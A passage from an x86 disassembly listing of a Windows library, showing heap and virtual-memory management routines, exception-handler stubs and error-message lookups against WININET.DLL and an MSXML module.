		movzx	eax, al
		add	esi, eax


loc_69B23937:				; CODE XREF: sub_69B1BC7A+7CB6j
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jb	short loc_69B23900


loc_69B2393F:				; CODE XREF: sub_69B1BC7A+7C84j
		lea	esi, [ecx+10h]
		jmp	short loc_69B23988
; ---------------------------------------------------------------------------


loc_69B23944:				; CODE XREF: sub_69B1BC7A+7C9Dj
					; sub_69B1BC7A+7CFBj
		lea	edi, [esi+edx]
		cmp	edi, [ebp+arg_0]
		jnb	short loc_69B23993
		sub	eax, edx
		mov	[ecx+8], edi
		mov	[ecx+0Ch], eax
		jmp	short loc_69B2399D
; ---------------------------------------------------------------------------


loc_69B23956:				; CODE XREF: sub_69B1BC7A+7D10j
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_69B2398C
		mov	al, [esi]
		test	al, al
		jnz	short loc_69B23983
		xor	eax, eax
		lea	edi, [esi+1]
		inc	eax
		jmp	short loc_69B2396E
; ---------------------------------------------------------------------------


loc_69B2396C:				; CODE XREF: sub_69B1BC7A+7CF7j
		inc	edi
		inc	eax


loc_69B2396E:				; CODE XREF: sub_69B1BC7A+7CF0j
		cmp	byte ptr [edi],	0
		jz	short loc_69B2396C
		cmp	eax, edx
		jnb	short loc_69B23944
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_69B2398C
		mov	esi, edi
		jmp	short loc_69B23988
; ---------------------------------------------------------------------------


loc_69B23983:				; CODE XREF: sub_69B1BC7A+7CE8j
		movzx	eax, al
		add	esi, eax


loc_69B23988:				; CODE XREF: sub_69B1BC7A+7CC8j
					; sub_69B1BC7A+7D07j
		cmp	esi, ebx
		jb	short loc_69B23956


loc_69B2398C:				; CODE XREF: sub_69B1BC7A+7CAFj
					; sub_69B1BC7A+7CE2j ...
		xor	eax, eax
		jmp	loc_69B1BCBE
; ---------------------------------------------------------------------------


loc_69B23993:				; CODE XREF: sub_69B1BC7A+7CD0j
		and	dword ptr [ecx+0Ch], 0
		lea	eax, [ecx+10h]
		mov	[ecx+8], eax


loc_69B2399D:				; CODE XREF: sub_69B1BC7A+7CDAj
		mov	eax, esi
		sub	eax, ecx
		inc	eax
		shl	eax, 4
		add	eax, ecx
		and	dword ptr [eax], 0
		mov	[esi], dl
		jmp	loc_69B1BCBE
; END OF FUNCTION CHUNK	FOR sub_69B1BC7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19D0A


loc_69B239B1:				; CODE XREF: sub_69B19D0A+16j
		xor	edi, edi
		push	2020h		; dwBytes
		push	edi		; dwFlags
		push	hHeap		; hHeap
		cmp	dword_69B92940,	edi
		jnz	short loc_69B239CF
		call	ds:HeapAlloc
		jmp	short loc_69B239D4
; ---------------------------------------------------------------------------


loc_69B239CF:				; CODE XREF: sub_69B19D0A+9CBBj
		call	sub_69B2D461


loc_69B239D4:				; CODE XREF: sub_69B19D0A+9CC3j
		mov	esi, eax
		mov	[ebp-20h], esi
		cmp	esi, edi
		jz	loc_69B23A8A
		jmp	loc_69B19D29
; ---------------------------------------------------------------------------


loc_69B239E6:				; CODE XREF: sub_69B19D0A+4A2Cj
		mov	[eax], eax
		jmp	loc_69B1E73C
; ---------------------------------------------------------------------------


loc_69B239ED:				; CODE XREF: sub_69B19D0A+4A35j
		mov	[eax+4], eax
		jmp	loc_69B1E745
; ---------------------------------------------------------------------------


loc_69B239F5:				; CODE XREF: sub_69B19D0A+4A24j
		mov	[esi], eax
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	[eax+4], esi
		mov	eax, [esi+4]
		mov	[eax], esi
		jmp	loc_69B1E745
; END OF FUNCTION CHUNK	FOR sub_69B19D0A

; =============== S U B	R O U T	I N E =======================================



sub_69B23A0A	proc near		; DATA XREF: .text:69B19DACo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B23A0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B23A13	proc near		; DATA XREF: .text:69B19DB0o
		mov	esp, [ebp-18h]
		mov	edi, [ebp-28h]
		mov	esi, 1000h
		mov	ebx, [ebp-24h]
		jmp	short loc_69B23A29
; ---------------------------------------------------------------------------


loc_69B23A23:				; CODE XREF: sub_69B23A13+1Aj
		push	edi
		call	sub_69B1B1F3


loc_69B23A29:				; CODE XREF: sub_69B23A13+Ej
		sub	edi, esi
		cmp	edi, ebx
		jnb	short loc_69B23A23
		push	4000h		; dwFreeType
		push	10000h		; dwSize
		push	ebx		; lpAddress
		cmp	dword_69B92940,	0
		jnz	short loc_69B23A4B
		call	ds:VirtualFree	; VirtualFree
		jmp	short loc_69B23A50
; ---------------------------------------------------------------------------


loc_69B23A4B:				; CODE XREF: sub_69B23A13+2Ej
		call	sub_69B2D527


loc_69B23A50:				; CODE XREF: sub_69B23A13+36j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-20h]
		xor	edi, edi
sub_69B23A13	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_69B19D0A


loc_69B23A59:				; CODE XREF: sub_69B19D0A+62j
		push	8000h		; dwFreeType
		push	edi		; dwSize
		push	ebx		; lpAddress
		call	ds:VirtualFree	; VirtualFree


loc_69B23A66:				; CODE XREF: sub_69B19D0A+3Cj
		cmp	esi, [ebp-1Ch]
		jz	short loc_69B23A8A
		xor	eax, eax
		push	esi		; lpMem
		push	eax		; dwFlags
		push	hHeap		; hHeap
		cmp	dword_69B92940,	eax
		jnz	short loc_69B23A85
		call	ds:HeapFree
		jmp	short loc_69B23A8A
; ---------------------------------------------------------------------------


loc_69B23A85:				; CODE XREF: sub_69B19D0A+9D71j
		call	sub_69B2D4AB


loc_69B23A8A:				; CODE XREF: sub_69B19D0A+9CD1j
					; sub_69B19D0A+9D5Fj ...
		xor	eax, eax
		jmp	loc_69B1E7C2
; END OF FUNCTION CHUNK	FOR sub_69B19D0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1A48F


loc_69B23A91:				; CODE XREF: sub_69B1A48F+58j
		xor	edx, edx
		inc	edx
		lea	eax, [ecx+20h]


loc_69B23A97:				; CODE XREF: sub_69B1A48F+9617j
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_69B23AA8
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_69B23A97


loc_69B23AA8:				; CODE XREF: sub_69B1A48F+960Bj
		cmp	edx, 400h
		jnz	loc_69B1A4ED
		push	ecx		; lpMem
		push	[ebp+arg_0]	; int
		call	sub_69B2E786
		pop	ecx
		pop	ecx
		jmp	loc_69B1A4ED
; ---------------------------------------------------------------------------


loc_69B23AC4:				; CODE XREF: sub_69B1A48F+64j
		cmp	[ebp+arg_4], 0
		jg	loc_69B1A4A2
		jmp	loc_69B1A4F9
; END OF FUNCTION CHUNK	FOR sub_69B1A48F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1872D


loc_69B23AD3:				; CODE XREF: sub_69B1872D-5j
		push	10h
		push	ecx
		call	sub_69B1A48F
		pop	ecx
		pop	ecx
		jmp	locret_69B18787
; END OF FUNCTION CHUNK	FOR sub_69B1872D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B184B1


loc_69B23AE2:				; CODE XREF: sub_69B184B1+5Fj
		mov	[edi+4], ebx
		mov	eax, [ebp-1Ch]
		jmp	loc_69B1848B
; ---------------------------------------------------------------------------


loc_69B23AED:				; CODE XREF: sub_69B184B1+3Ej
		mov	ebx, [ebp+0Ch]


loc_69B23AF0:				; CODE XREF: sub_69B184B1-11j
		lea	edi, [esi+18h]
		mov	eax, [esi+8]
		mov	[ebp-20h], eax
		mov	ecx, [esi+10h]
		mov	[ebp-1Ch], ecx
		cmp	edi, eax
		jnb	loc_69B19C9A


loc_69B23B07:				; CODE XREF: sub_69B184B1+B686j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_69B23B2A
		cmp	[edi+4], ebx
		jbe	short loc_69B23B2A
		push	ebx
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_69B1BC7A
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_69B18516
		mov	[edi+4], ebx


loc_69B23B2A:				; CODE XREF: sub_69B184B1+B65Aj
					; sub_69B184B1+B65Fj
		add	edi, 8
		add	dword ptr [ebp-1Ch], 1000h
		cmp	edi, [ebp-20h]
		jb	short loc_69B23B07
		jmp	loc_69B19C9A
; ---------------------------------------------------------------------------


loc_69B23B3E:				; CODE XREF: sub_69B184B1+1803j
		mov	ecx, [eax+0Ch]
		test	ecx, ecx
		jz	loc_69B19CBA
		mov	ebx, ecx
		mov	[ebp-28h], ebx
		mov	esi, ebx
		sub	esi, eax
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, edx
		mov	[ebp-1Ch], esi
		xor	edi, edi
		mov	[ebp-20h], ebx
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jmp	short loc_69B23B7A
; ---------------------------------------------------------------------------


loc_69B23B6A:				; CODE XREF: sub_69B184B1+B6CCj
		cmp	edi, 10h
		jge	short loc_69B23B7F
		add	dword ptr [ebp-20h], 8
		inc	edi
		mov	eax, [ebp-20h]
		cmp	dword ptr [eax], 0FFFFFFFFh


loc_69B23B7A:				; CODE XREF: sub_69B184B1+B6B7j
		mov	[ebp-2Ch], edi
		jz	short loc_69B23B6A


loc_69B23B7F:				; CODE XREF: sub_69B184B1+B6BCj
		shl	edi, 0Ch
		push	4		; flProtect
		push	1000h		; flAllocationType
		push	edi		; dwSize
		push	esi		; lpAddress
		cmp	dword_69B92940,	0
		jnz	short loc_69B23B9C
		call	ds:VirtualAlloc	; VirtualAlloc
		jmp	short loc_69B23BA1
; ---------------------------------------------------------------------------


loc_69B23B9C:				; CODE XREF: sub_69B184B1+B6E1j
		call	sub_69B2D4D6


loc_69B23BA1:				; CODE XREF: sub_69B184B1+B6E9j
		cmp	eax, esi
		jnz	loc_69B184AD
		mov	ecx, edi
		xor	eax, eax
		mov	edi, esi
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		and	dword ptr [ebp-4], 0
		and	dword ptr [ebp-30h], 0
		mov	edi, esi


loc_69B23BC7:				; CODE XREF: sub_69B184B1+B75Cj
		mov	[ebp-34h], edi
		mov	[ebp-20h], ebx
		mov	eax, [ebp-30h]
		cmp	eax, [ebp-2Ch]
		jge	short loc_69B23C0F
		push	edi
		call	sub_69B19DB4
		mov	eax, 0EFh
		mov	[ebx], eax
		mov	dword ptr [ebx+4], 0F0h
		lea	ecx, [edi+10h]
		mov	[edi+8], ecx
		mov	[edi+0Ch], eax
		mov	byte ptr [edi+0FFh], 0FFh
		mov	eax, [ebp+8]
		or	eax, 1
		mov	[edi], eax
		inc	dword ptr [ebp-30h]
		add	edi, 1000h
		add	ebx, 8
		jmp	short loc_69B23BC7
; ---------------------------------------------------------------------------


loc_69B23C0F:				; CODE XREF: sub_69B184B1+B722j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B23C62
; END OF FUNCTION CHUNK	FOR sub_69B184B1

; =============== S U B	R O U T	I N E =======================================



sub_69B23C15	proc near		; DATA XREF: .text:69B18534o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B23C15	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B23C1E	proc near		; DATA XREF: .text:69B18538o
		mov	esp, [ebp-18h]
		mov	eax, [ebp-2Ch]
		sub	eax, [ebp-30h]
		shl	eax, 0Ch
		push	4000h		; dwFreeType
		push	eax		; dwSize
		push	dword ptr [ebp-34h] ; lpAddress
		cmp	dword_69B92940,	0
		jnz	short loc_69B23C44
		call	ds:VirtualFree	; VirtualFree
		jmp	short loc_69B23C49
; ---------------------------------------------------------------------------


loc_69B23C44:				; CODE XREF: sub_69B23C1E+1Cj
		call	sub_69B2D527


loc_69B23C49:				; CODE XREF: sub_69B23C1E+24j
		cmp	dword ptr [ebp-30h], 0
		jnz	short loc_69B23C58
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_69B184AD
; ---------------------------------------------------------------------------


loc_69B23C58:				; CODE XREF: sub_69B23C1E+2Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp-20h]
		mov	esi, [ebp-1Ch]
sub_69B23C1E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_69B184B1


loc_69B23C62:				; CODE XREF: sub_69B184B1+B762j
		mov	edx, [ebp-24h]
		mov	eax, [ebp+8]
		mov	[eax+2020h], edx
		lea	eax, [edx+2018h]
		jmp	short loc_69B23C7E
; ---------------------------------------------------------------------------


loc_69B23C76:				; CODE XREF: sub_69B184B1+B7CFj
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jz	short loc_69B23C82
		add	ebx, 8


loc_69B23C7E:				; CODE XREF: sub_69B184B1+B7C3j
		cmp	ebx, eax
		jb	short loc_69B23C76


loc_69B23C82:				; CODE XREF: sub_69B184B1+B7C8j
		cmp	ebx, eax
		sbb	eax, eax
		and	eax, ebx
		mov	[edx+0Ch], eax
		mov	eax, [ebp+0Ch]
		mov	[esi+10h], al
		mov	ecx, [ebp-28h]
		mov	[edx+8], ecx
		sub	[ecx], eax
		lea	ecx, [esi+eax+10h]
		mov	[esi+8], ecx
		sub	[esi+0Ch], eax
		lea	eax, [esi+110h]
		jmp	loc_69B18524
; END OF FUNCTION CHUNK	FOR sub_69B184B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B190D7


loc_69B23CAE:				; CODE XREF: sub_69B190D7+Fj
		xor	eax, eax
		retn	8
; END OF FUNCTION CHUNK	FOR sub_69B190D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1885E


loc_69B23CB3:				; CODE XREF: sub_69B1885E+16j
		mov	eax, [eax]
		jmp	loc_69B1886E
; END OF FUNCTION CHUNK	FOR sub_69B1885E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1B814


loc_69B23CBA:				; CODE XREF: sub_69B1B814+4Dj
		push	80004005h
		call	sub_69B2E8B8
		jmp	loc_69B1B867
; ---------------------------------------------------------------------------


loc_69B23CC9:				; CODE XREF: sub_69B1B814+7Aj
		mov	eax, offset dword_69B23D00
		jmp	loc_69B1B894
; ---------------------------------------------------------------------------


loc_69B23CD3:				; CODE XREF: sub_69B1B814+E8j
					; sub_69B1B814+F4j
		push	80004005h
		call	sub_69B2E8B8
		jmp	loc_69B1B90E
; ---------------------------------------------------------------------------


loc_69B23CE2:				; CODE XREF: sub_69B1B814+18j
		mov	eax, hModule
		mov	lpSource, eax
		jmp	loc_69B1B90E
; ---------------------------------------------------------------------------


loc_69B23CF1:				; CODE XREF: sub_69B1B814+101j
		push	80004005h
		call	sub_69B2E8B8
		jmp	loc_69B1B91B
; END OF FUNCTION CHUNK	FOR sub_69B1B814
; ---------------------------------------------------------------------------
dword_69B23D00	dd 6D78736Dh, 2E61326Ch, 6C6C64h; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1D411


loc_69B23D0C:				; CODE XREF: sub_69B1D411+34j
		push	offset sub_69B23D98 ; lpModuleName
		call	ds:GetModuleHandleA	; GetModuleHandleA
		push	0		; Arguments
		push	esi		; nSize
		push	dword ptr [ebp-1Ch] ; lpBuffer
		push	ebx		; dwLanguageId
		push	dword ptr [ebp+8] ; dwMessageId
		push	eax		; lpSource
		push	800h		; dwFlags
		call	edi ; FormatMessageA
		test	eax, eax
		ja	loc_69B1D44B
		push	offset aWininet_dll_0 ;	"WININET.DLL"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		push	0		; Arguments
		push	esi		; nSize
		push	dword ptr [ebp-1Ch] ; lpBuffer
		push	ebx		; dwLanguageId
		push	dword ptr [ebp+8] ; dwMessageId
		push	eax		; lpSource
		push	800h		; dwFlags
		call	edi ; FormatMessageA
		jmp	loc_69B1D44B
; ---------------------------------------------------------------------------


loc_69B23D53:				; CODE XREF: sub_69B1D411+44j
		push	dword ptr [ebp+8]
		call	sub_69B2F0F7
		mov	[ebp-28h], eax
		push	0
		push	eax
		push	0C00CE30Ah
		call	sub_69B2F944
		add	esp, 0Ch
		jmp	loc_69B1D468
; END OF FUNCTION CHUNK	FOR sub_69B1D411

; =============== S U B	R O U T	I N E =======================================



sub_69B23D73	proc near		; DATA XREF: .text:69B1D48Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B23D73	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B23D7C	proc near		; DATA XREF: .text:69B1D490o
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-24h], offset off_69B1A5AC
		jmp	loc_69B1D46B
sub_69B23D7C	endp

; ---------------------------------------------------------------------------
		align 4
; char aWininet_dll_0[]
aWininet_dll_0	db 'WININET.DLL',0      ; DATA XREF: sub_69B1D411+6920o

; =============== S U B	R O U T	I N E =======================================


; const	CHAR sub_69B23D98

sub_69B23D98	proc near		; DATA XREF: sub_69B1D411:loc_69B23D0Co
		push	ebp
		push	edx
		dec	esp
		dec	ebp
		dec	edi
		dec	esi
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_69B23DA2:				; CODE XREF: sub_69B192E9+2Bj
		add	[ebx+7D89087Dh], cl
		fmul	dword ptr [ebx+5D890C5Dh]
		fsubr	qword ptr [edx+4]
		lea	eax, [ebp-28h]
		push	eax
		call	sub_69B1941C
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B23E12
		push	eax
		lea	ecx, [ebp-34h]
		call	sub_69B11D3B
		push	4
		lea	eax, [ebp-28h]
		push	eax
		call	sub_69B190C1
		mov	[ebp-38h], eax
		push	20h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B23DF2
		push	dword ptr [ebp-38h]
		push	ebx
		push	edi
		mov	ecx, eax
		call	sub_69B17285
		mov	esi, eax
		jmp	short loc_69B23DF4
; ---------------------------------------------------------------------------


loc_69B23DF2:				; CODE XREF: sub_69B23D98+48j
		xor	esi, esi


loc_69B23DF4:				; CODE XREF: sub_69B23D98+58j
		push	esi
		push	dword ptr [ebp-38h]
		mov	eax, [ebp-20h]
		mov	ecx, [eax+460h]
		call	sub_69B18FB8
		or	dword ptr [esi+1Ch], 1
		lea	ecx, [ebp-34h]
		call	sub_69B1976C


loc_69B23E12:				; CODE XREF: sub_69B23D98+26j
		mov	eax, esi
		jmp	loc_69B19406
sub_69B23D98	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B192E9


loc_69B23E19:				; CODE XREF: sub_69B192E9+105j
		lea	eax, [edi+18h]
		mov	[ebp-64h], eax
		push	0
		push	eax
		call	sub_69B17320
		mov	ecx, edi	; Value
		call	sub_69B2D96E
		jmp	loc_69B193F4
; END OF FUNCTION CHUNK	FOR sub_69B192E9

; =============== S U B	R O U T	I N E =======================================



sub_69B23E33	proc near		; DATA XREF: .text:69B19414o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B23E33	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B23E3C	proc near		; DATA XREF: .text:69B19418o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-44h]
		call	sub_69B2D599
		cmp	dword ptr [ebp-1Ch], 3
		jnz	short loc_69B23E5A
		mov	ecx, dword_69B929E0
		call	sub_69B18381
		jmp	short loc_69B23E7E
; ---------------------------------------------------------------------------


loc_69B23E5A:				; CODE XREF: sub_69B23E3C+Fj
		cmp	dword ptr [ebp-1Ch], 2
		jnz	short loc_69B23E6D
		mov	ecx, dword_69B929D4
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		jmp	short loc_69B23E7E
; ---------------------------------------------------------------------------


loc_69B23E6D:				; CODE XREF: sub_69B23E3C+22j
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_69B23E7E
		mov	ecx, dword_69B929D4
		mov	eax, [ecx]
		call	dword ptr [eax+18h]


loc_69B23E7E:				; CODE XREF: sub_69B23E3C+1Cj
					; sub_69B23E3C+2Fj ...
		call	sub_69B2E860
		jmp	loc_69B193F7
sub_69B23E3C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B11FFF


loc_69B23E88:				; CODE XREF: sub_69B11FFF+1Cj
		mov	ecx, [eax+460h]
		jmp	loc_69B12027
; END OF FUNCTION CHUNK	FOR sub_69B11FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19621


loc_69B23E93:				; CODE XREF: sub_69B19621+2Dj
		mov	edi, [ebp+8]
		test	edi, edi
		jz	short loc_69B23EA2
		push	edi
		call	sub_69B1980A
		jmp	short loc_69B23EAD
; ---------------------------------------------------------------------------


loc_69B23EA2:				; CODE XREF: sub_69B19621+A877j
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_69B1941C


loc_69B23EAD:				; CODE XREF: sub_69B19621+A87Fj
		mov	esi, eax
		test	esi, esi
		jnz	loc_69B19750
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B11D3B
		test	edi, edi
		jz	short loc_69B23ECE
		mov	eax, [edi+8]
		mov	edi, [edi+0Ch]
		push	eax
		push	edi
		jmp	short loc_69B23ED4
; ---------------------------------------------------------------------------


loc_69B23ECE:				; CODE XREF: sub_69B19621+A8A1j
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]


loc_69B23ED4:				; CODE XREF: sub_69B19621+A8ABj
		call	sub_69B190C1
		mov	edi, eax
		push	1Ch
		call	sub_69B17EF3
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B23EFC
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+20h]
		push	eax
		push	edi
		mov	ecx, esi
		call	sub_69B180B6
		mov	esi, eax
		jmp	short loc_69B23EFE
; ---------------------------------------------------------------------------


loc_69B23EFC:				; CODE XREF: sub_69B19621+A8C5j
		xor	esi, esi


loc_69B23EFE:				; CODE XREF: sub_69B19621+A8D9j
		push	esi
		push	edi
		mov	eax, [ebp-20h]
		mov	ecx, [eax+45Ch]
		call	sub_69B18FB8
		or	dword ptr [esi+18h], 1
		lea	ecx, [ebp-2Ch]
		jmp	loc_69B1974B
; ---------------------------------------------------------------------------


loc_69B23F1A:				; CODE XREF: sub_69B19621+A1j
		mov	eax, [edi+8]
		mov	[ebp-44h], eax
		mov	edi, [edi+0Ch]
		mov	[ebp-48h], edi
		push	eax
		push	esi
		push	edi
		jmp	loc_69B1909C
; ---------------------------------------------------------------------------


loc_69B23F2E:				; CODE XREF: sub_69B19621+11Aj
		lea	eax, [edi+10h]
		mov	[ebp-5Ch], eax
		push	0
		push	eax
		call	sub_69B17320
		mov	ecx, edi	; Value
		call	sub_69B2D96E
		jmp	loc_69B19741
; END OF FUNCTION CHUNK	FOR sub_69B19621

; =============== S U B	R O U T	I N E =======================================



sub_69B23F48	proc near		; DATA XREF: .text:69B19764o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B23F48	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B23F51	proc near		; DATA XREF: .text:69B19768o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-38h]
		call	sub_69B2D599
		cmp	dword ptr [ebp-1Ch], 3
		jnz	short loc_69B23F6F
		mov	ecx, dword_69B929E0
		call	sub_69B18381
		jmp	short loc_69B23F93
; ---------------------------------------------------------------------------


loc_69B23F6F:				; CODE XREF: sub_69B23F51+Fj
		cmp	dword ptr [ebp-1Ch], 2
		jnz	short loc_69B23F82
		mov	ecx, dword_69B929D0
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		jmp	short loc_69B23F93
; ---------------------------------------------------------------------------


loc_69B23F82:				; CODE XREF: sub_69B23F51+22j
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_69B23F93
		mov	ecx, dword_69B929D0
		mov	eax, [ecx]
		call	dword ptr [eax+18h]


loc_69B23F93:				; CODE XREF: sub_69B23F51+1Cj
					; sub_69B23F51+2Fj ...
		call	sub_69B2E860
		xor	esi, esi
		jmp	loc_69B19744
sub_69B23F51	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B17D88


loc_69B23F9F:				; CODE XREF: sub_69B17D88+1Cj
		mov	ecx, [eax+45Ch]
		jmp	loc_69B17DB0
; END OF FUNCTION CHUNK	FOR sub_69B17D88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B17EBE


loc_69B23FAA:				; CODE XREF: sub_69B17EBE+8j
		add	ecx, 4
		push	ecx
		call	sub_69B17230
		jmp	locret_69B17ED0
; END OF FUNCTION CHUNK	FOR sub_69B17EBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18ACB


loc_69B23FB8:				; CODE XREF: sub_69B18ACB+8j
		push	[esp+arg_4]
		add	ecx, 4
		push	ecx
		call	sub_69B17320
		jmp	locret_69B18AE0
; END OF FUNCTION CHUNK	FOR sub_69B18ACB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1A799


loc_69B23FCA:				; CODE XREF: sub_69B1A799+18j
		mov	[ebp+arg_0], edi
		jmp	loc_69B1A7B7
; END OF FUNCTION CHUNK	FOR sub_69B1A799
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1C27E


loc_69B23FD2:				; CODE XREF: sub_69B1C27E+7j
		mov	eax, [esi+20h]
		push	edi
		xor	edi, edi
		cmp	[eax+8], edi
		jle	short loc_69B23FFD


loc_69B23FDD:				; CODE XREF: sub_69B1C27E+7D7Dj
		mov	ecx, [esi+20h]
		push	edi
		call	sub_69B171A0
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_69B23FF4
		push	esi
		mov	ecx, eax
		call	sub_69B17EA0


loc_69B23FF4:				; CODE XREF: sub_69B1C27E+7D6Cj
		mov	eax, [esi+20h]
		inc	edi
		cmp	edi, [eax+8]
		jl	short loc_69B23FDD


loc_69B23FFD:				; CODE XREF: sub_69B1C27E+7D5Dj
		mov	eax, [esi+20h]
		and	dword ptr [esi+0Ch], 0
		mov	eax, [eax+8]
		mov	[esi+1Ch], eax
		pop	edi
		jmp	loc_69B1C28B
; END OF FUNCTION CHUNK	FOR sub_69B1C27E

; =============== S U B	R O U T	I N E =======================================



sub_69B24010	proc near		; DATA XREF: .text:69B19864o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B24010	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B24019	proc near		; DATA XREF: .text:69B19868o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-1Ch]
		call	sub_69B1948C
		call	sub_69B2E860
		jmp	loc_69B19849
sub_69B24019	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18A22


loc_69B2402E:				; CODE XREF: sub_69B18A22+3Dj
		cmp	[ebp+arg_8], bl
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+4]
		mov	[ebp+var_4], eax
		jnz	loc_69B18A8A
		push	[ebp+arg_4]
		push	esi
		call	sub_69B18ACB
		jmp	loc_69B18A8A
; ---------------------------------------------------------------------------


loc_69B2404E:				; CODE XREF: sub_69B18A22+6Ej
		mov	ecx, esi
		call	sub_69B31699
		jmp	loc_69B18A96
; ---------------------------------------------------------------------------


loc_69B2405A:				; CODE XREF: sub_69B18A22+14j
					; sub_69B18A22+1Dj
		push	80004003h
		call	sub_69B2E8B8
		jmp	loc_69B18A96
; END OF FUNCTION CHUNK	FOR sub_69B18A22

; =============== S U B	R O U T	I N E =======================================



sub_69B24069	proc near		; DATA XREF: .text:69B17E98o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B24069	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B24072	proc near		; DATA XREF: .text:69B17E9Co
		mov	esp, [ebp-18h]
		mov	esi, [ebp-1Ch]
		push	esi
		lea	ecx, [ebp-50h]
		call	sub_69B17EA0
		call	sub_69B2E860
		jmp	loc_69B17E58
sub_69B24072	endp

; ---------------------------------------------------------------------------


loc_69B2408B:				; DATA XREF: .text:69B17E8Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B24094:				; DATA XREF: .text:69B17E90o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-20h]
		call	sub_69B1900C
		call	sub_69B2E860
		jmp	loc_69B17E6D
; ---------------------------------------------------------------------------


loc_69B240A9:				; DATA XREF: .text:69B19004o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B240B2:				; DATA XREF: .text:69B19008o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-1Ch]
		call	sub_69B1900C
		call	sub_69B2E860
		jmp	loc_69B18FE7
; ---------------------------------------------------------------------------


loc_69B240C7:				; DATA XREF: .text:69B19484o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B240D0:				; DATA XREF: .text:69B19488o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-1Ch]
		call	sub_69B1948C
		call	sub_69B2E860
		jmp	loc_69B19464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1A768


loc_69B240E5:				; CODE XREF: sub_69B1A768+9j
		xor	eax, eax
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_69B1A768

; =============== S U B	R O U T	I N E =======================================



